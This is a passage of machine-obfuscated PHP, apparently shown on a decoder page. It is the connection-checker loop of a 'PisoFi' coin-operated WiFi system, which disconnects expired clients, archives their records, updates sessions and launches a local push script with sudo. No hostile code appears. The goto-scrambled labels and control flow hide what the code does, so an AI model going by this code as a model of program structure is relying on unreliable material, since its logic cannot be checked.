\xa                    END) <> 4 AND LENGTH(TRIM(mac)) > 0\xd\xa                    ")->get(); goto MiL7I; rzYiH: p_JRv: goto mv0RN; yqgbp: foreach ($x_A7k as $g2UXO) { goto PGvTt; b2k0f: y2AgK: goto ghXUT; PGvTt: $Q9NQK = $Thdr9->connect($g2UXO->mac, $g2UXO->ip_address, $g2UXO->mark, $g2UXO->download_rate, $g2UXO->upload_rate, $g2UXO->download_rate); goto t_OgJ; t_OgJ: $g2UXO->status = 1; goto i6hhQ; i6hhQ: $g2UXO->save(); goto b2k0f; ghXUT: } goto By0va; dDvMP: if (!$BE75D->autoContinue()) { goto soWbM; } goto wwjG3; gQutk: kXSdu: goto UfBo6; p9dUa: YH1Q_: goto bSIQJ; Wahlv: LDpZD: goto ZjuUI; riPFE: LqzON: goto nFQYK; c0B75: foreach ($hgaXW as $jzxYf) { goto w5h_P; AaoFo: $jzxYf->delete(); goto r3zPj; svVWX: $gX6_B = true; goto nCBsF; r3zPj: $Y6g_u[] = ["id" => $jzxYf->id, "mac" => $jzxYf->mac, "ip_address" => $jzxYf->ip_address]; goto svVWX; nCBsF: lcisx: goto fAtpZ; md6YR: zKUeT($jzxYf); goto AaoFo; w5h_P: $Q9NQK = $Thdr9->disconnect($jzxYf->mac, $jzxYf->ip_address, $jzxYf->mark, $jzxYf->download_rate, $jzxYf->upload_rate, $jzxYf->download_rate); goto md6YR; fAtpZ: } goto sCTv8; vQ_so: $YhiC2 = []; goto OK096; xQ8Mw: soWbM: goto LK0sQ; sLytr: foreach ($x_A7k as $g2UXO) { goto Ct6Gc; jzsxs: $g2UXO->save(); goto epUXb; Ct6Gc: $Q9NQK = $Thdr9->connect($g2UXO->mac, $g2UXO->ip_address, $g2UXO->mark, $g2UXO->download_rate, $g2UXO->upload_rate, $g2UXO->download_rate); goto QTnVK; QTnVK: $g2UXO->status = 1; goto jzsxs; epUXb: UNqJx: goto QY8it; QY8it: } goto rzYiH; nFQYK: $hgaXW = ActiveClient::whereRaw(" session_id NOT IN (select id from connection_sessions) OR session_id IS NULL OR LENGTH(TRIM(mac)) <= 0")->get(); goto c0B75; Nmo4Z: $YhiC2[] = " ( pause_count > {$iESPl}) "; goto nFaDP; ckXp4: DB::update("
\xa                    UPDATE connection_sessions SET status = 2 
\xa                    WHERE status = 1 \xd\xa                        AND id NOT IN (SELECT session_id FROM active_clients WHERE (NOT session_id IS NULL) AND status = 1 )\xd
                "); goto WhldM; onDMu: if (!($lY2YW->maxPauseLimit() > 0)) { goto DOqWs; } goto SCKJd; By0va: ZcfCx: goto d0x8X; RmLE6: if (!(count($Q46rb) > 0)) { goto LqzON; } goto f0MUc; Ie6j6: if (!(count($hgaXW) > 0)) { goto u5puT; } goto LxFMf; UfBo6: $Q46rb = ConnectionSession::whereRaw(" id IN (\xd\xa                    SELECT MIN(cs.id) 
\xa                    FROM connection_sessions cs JOIN active_clients ac \xd
                    ON ac.session_id = cs.id
\xa                    WHERE ac.`status` = 2 AND ac.admin_pause_override = 0 AND cs.allow_pause = 0
\xa                    GROUP BY concat(cs.ip_address, cs.mac)
\xa                    ) AND status <> 0")->get(); goto RmLE6; ZHUDI: ConnectionSession::whereRaw("status = 4 OR ( NOT expiration_date IS NULL AND expiration_date < NOW() AND status <> 0 ) ")->delete(); goto k08y9; DiWw_: vQpCH: goto wdEfw; SCKJd: $iESPl = intval($lY2YW->maxPauseLimit()); goto Nmo4Z; LK0sQ: $x_A7k = ActiveClient::whereRaw("( status = 2 AND admin_pause_override = 0 AND allow_pause = 0 ) OR type = 2")->get(); goto xqqjk; WEbYd: } catch (\Exception $tRWTQ) { echo "[WIFI]: " . date("Y-m-d H:i:s") . " | " . $tRWTQ->getMessage() . PHP_EOL; file_put_contents(__FILE__ . ".log", date("Y-m-d H:i:s") . " : " . $tRWTQ->getMessage() . " at Line " . $tRWTQ->getLine() . " on " . $tRWTQ->getFile() . "\xd\xa"); } goto zBrCD; uO6th: upT5D: goto UQ4ky; zBrCD: try { goto kWa23; Y4V3K: $hgaXW = DesktopClient::whereRaw("(status = 1 AND remaining_time <= 0) OR (status = 0)")->get(); goto NYsOe; bXA9n: $hgaXW = DesktopClient::whereRaw("(status = 1 AND remaining_time <= 0) OR (status = 0) OR (LOCATE('disconnect',data) > 0 AND status = 1 AND remaining_time > 0)")->get(); goto KA1_1; P_4_f: CE4A1: goto dmJvV; v3I5O: if (!$X0eQD) { goto pEkbl; } goto eVZNa; YyIcR: Xagf7: goto bXA9n; m3T_D: $Y6g_u = []; goto k1On8; KA1_1: T6Ou3: goto m3T_D; T8WvI: lQgOh: goto v3I5O; dZ9TZ: PisofiHelper::publishEvent("onclientdisconnected", ["clients" => $Y6g_u]); goto P_4_f; vTdt1: ZFv0V: goto Vzhkj; eVZNa: $ohvE5 = DesktopClient::whereRaw(" status = 1 AND notified = 0 AND remaining_time <= {$uGSgZ} ")->get(); goto Ohdof; kWa23: DB::update("UPDATE desktop_clients SET sent=0, updated_at = NOW(), remarks = 'Running Update Time', remaining_time = IF({$VBsPb} > remaining_time, 0, GREATEST(0, remaining_time - {$VBsPb})) WHERE status = 1"); goto NViqg; Vzhkj: if (!(count($hgaXW) > 0)) { goto lQgOh; } goto pyRbg; Ohdof: foreach ($ohvE5 as $I19L0) { goto tHakz; KaHKH: Egg1R: goto vFrvT; kmEJT: exec("sudo /usr/bin/php /var/www/html/pisofi/scripts/web_push {$ZHP8m} > /dev/null 2>&1 & "); goto prh7Q; tHakz: $ZHP8m = $I19L0->id; goto kmEJT; prh7Q: $I19L0->notified = 1; goto ymrBZ; ymrBZ: $I19L0->save(); goto KaHKH; vFrvT: } goto x6z3l; NYsOe: goto T6Ou3; goto YyIcR; x6z3l: GlgDh: goto mP62z; k1On8: foreach ($hgaXW as $jzxYf) { goto mQiaJ; yIC0V: $jzxYf->delete(); goto bqZzZ; eWVwd: if (!$fSaOy) { goto wFCG9; } goto Mzaoa; REkMr: HmUiq: goto vzb82; sjm46: agTcr: goto tjAhU; HskNX: wFCG9: goto JzZdo; tjAhU: f7quo: goto L8aeb; RnVys: $TCaip = $jzxYf->getData(); goto l6Qbb; l6Qbb: if (isset($TCaip["disconnected"])) { goto sOTFW; } goto phHMv; vzb82: $Thdr9->disconnect($jzxYf->mac, $jzxYf->ip_address, $jzxYf->mark, $jzxYf->download_rate, $jzxYf->upload_rate, $jzxYf->download_rate); goto XBIne; zzM9a: goto gcIa8; goto pqALH; Mzaoa: echo "Pausing Desktop Client" . PHP_EOL; goto RnVys; QMohB: if (!(time() - $TCaip["disconnected"] > 200)) { goto YIJMf; } goto LMRQP; mQiaJ: if ($jzxYf->remaining_time <= 0 || $jzxYf->isDisconnected()) { goto HmUiq; } goto eWVwd; phHMv: file_put_contents("/tmp/paused_desktop_kicker", "[OK]: " . date("YmdHis") . json_encode($TCaip) . PHP_EOL, FILE_APPEND); goto zzM9a; JzZdo: goto agTcr; goto REkMr; iXaBm: gcIa8: goto HskNX; AetVe: YIJMf: goto iXaBm; SCzLb: $jzxYf->pause(); goto AetVe; LMRQP: file_put_contents("/tmp/paused_desktop_kicker", "[PAUSED]: " . date("YmdHis") . json_encode($TCaip) . PHP_EOL, FILE_APPEND); goto SCzLb; XBIne: ZKuEt($jzxYf); goto yIC0V; pqALH: sOTFW: goto QMohB; bqZzZ: $Y6g_u[] = ["id" => $jzxYf->id, "mac" => $jzxYf->mac, "ip_address" => $jzxYf->ip_address]; goto sjm46; L8aeb: } goto vTdt1; NViqg: if ($fSaOy) { goto Xagf7; } goto Y4V3K; pyRbg: $gX6_B = true; goto T8WvI; SWkNP: if (!(count($Y6g_u) > 0)) { goto CE4A1; } goto dZ9TZ; mP62z: pEkbl: goto SWkNP; dmJvV: } catch (Exception $tRWTQ) { echo "[DESKTOP]: " . date("Y-m-d H:i:s") . " | " . $tRWTQ->getMessage() . PHP_EOL; file_put_contents(__FILE__ . ".log", date("Y-m-d H:i:s") . " : " . $tRWTQ->getMessage() . " at Line " . $tRWTQ->getLine() . " on " . $tRWTQ->getFile() . "\xd\xa"); } goto esMHL; Ia2I1: $VBsPb = max(0, $PN4U3 - $xb4ec); goto cto0r; M_go1: goto cIbkR; goto Fg6qX; IwBrL: $VBsPb = 3; goto zWqyX; AW5mr: sleep(3); goto Qc1YG; Wp_64: } catch (Exception $tRWTQ) { file_put_contents(__FILE__ . ".log", date("Y-m-d H:i:s") . " : " . $tRWTQ->getMessage() . " at Line " . $tRWTQ->getLine() . " on " . $tRWTQ->getFile() . "
\xa"); echo $tRWTQ->getMessage() . PHP_EOL; } goto NIj9H; Txcs5: function ZKUet($jzxYf) { goto DtaIp; B2_ns: YRKN8: goto YbWqB; DtaIp: if (!$jzxYf) { goto YRKN8; } goto qSZc3; qSZc3: try { goto txK2i; txK2i: $JK3wk = ["mac" => $jzxYf->mac, "ip_address" => $jzxYf->ip_address, "date_connected" => $jzxYf->date_connected, "connection_time" => $jzxYf->connection_time ?? 0, "remaining_time" => $jzxYf->remaining_time ?? 0, "remarks" => $jzxYf->remarks, "mark" => $jzxYf->mark, "status" => $jzxYf->status, "download_rate" => $jzxYf->download_rate ?? 0, "upload_rate" => $jzxYf->upload_rate ?? 0, "upload_auto" => $jzxYf->upload_auto, "download_auto" => $jzxYf->download_auto, "auto_manage" => $jzxYf->auto_manage ?? 0, "remarks" => $jzxYf->remarks, "client_id" => $jzxYf->client_id, "download_usage" => $jzxYf->download_usage ?? 0, "upload_usage" => $jzxYf->upload_usage ?? 0, "type" => $jzxYf->type ?? 1, "bandwidth_limit" => $jzxYf->bandwidth_limit ?? 0, "allow_pause" => $jzxYf->allow_pause ?? 0, "allow_conversion" => $jzxYf->allow_conversion ?? 0, "allow_sharing" => $jzxYf->allow_sharing ?? 0, "pause_count" => $jzxYf->pause_count ?? 0, "sent" => $jzxYf->sent ?? 0, "notified" => $jzxYf->notified ?? 0, "admin_pause_override" => $jzxYf->admin_pause_override ?? 0, "session_id" => $jzxYf->session_id ?? 0]; goto lF7MB; ZeNc0: OldClient::create($JK3wk); goto Hu2Vn; lF7MB: if (!$jzxYf instanceof ActiveClient) { goto wX4WO; } goto lym4T; lym4T: $JK3wk["expiration_date"] = $jzxYf->expirationDate(); goto A6yNr; A6yNr: wX4WO: goto ZeNc0; Hu2Vn: } catch (Exception $tRWTQ) { echo $tRWTQ->getMessage() . PHP_EOL; } goto B2_ns; YbWqB: } goto JO4Ko; I_P7Y: $YmgC4 = (int) $lY2YW->portalMaximumTimeAllowedPauseInSeconds(); goto Y9CP3; Y9CP3: $lgwLb = (bool) $lY2YW->canLimitMinPauseTime(); goto Zd6hI; efOMp: $uGSgZ = $gALHl["delay"] * 60; goto qabOp; TpN51: $lY2YW = new PortalManager(); goto an1FO; NIj9H: } goto JjEYM; Y1kqF: QUi0B: goto o7E9B; t77DK: $fFS64 = fopen(__FILE__ . ".lock", "w+"); goto eCoSq; zc9CR: echo "Starting Connection Checker" . PHP_EOL; goto lbxVY; fwMvt: if (!true) { goto QUi0B; } goto xeHQ1; JjEYM: set_time_limit(0); goto t77DK; nA3Md: bGqdh: goto fwMvt; lbxVY: $Thdr9 = new Pisofier(); goto ig5Pm; nUaoL: unlink(__FILE__ . ".lock"); ?>

Function Calls

None

Variables

None

Stats

MD5 26cd43431b250420d64652bda1fcde92
Eval Count 0
Decode Time 70 ms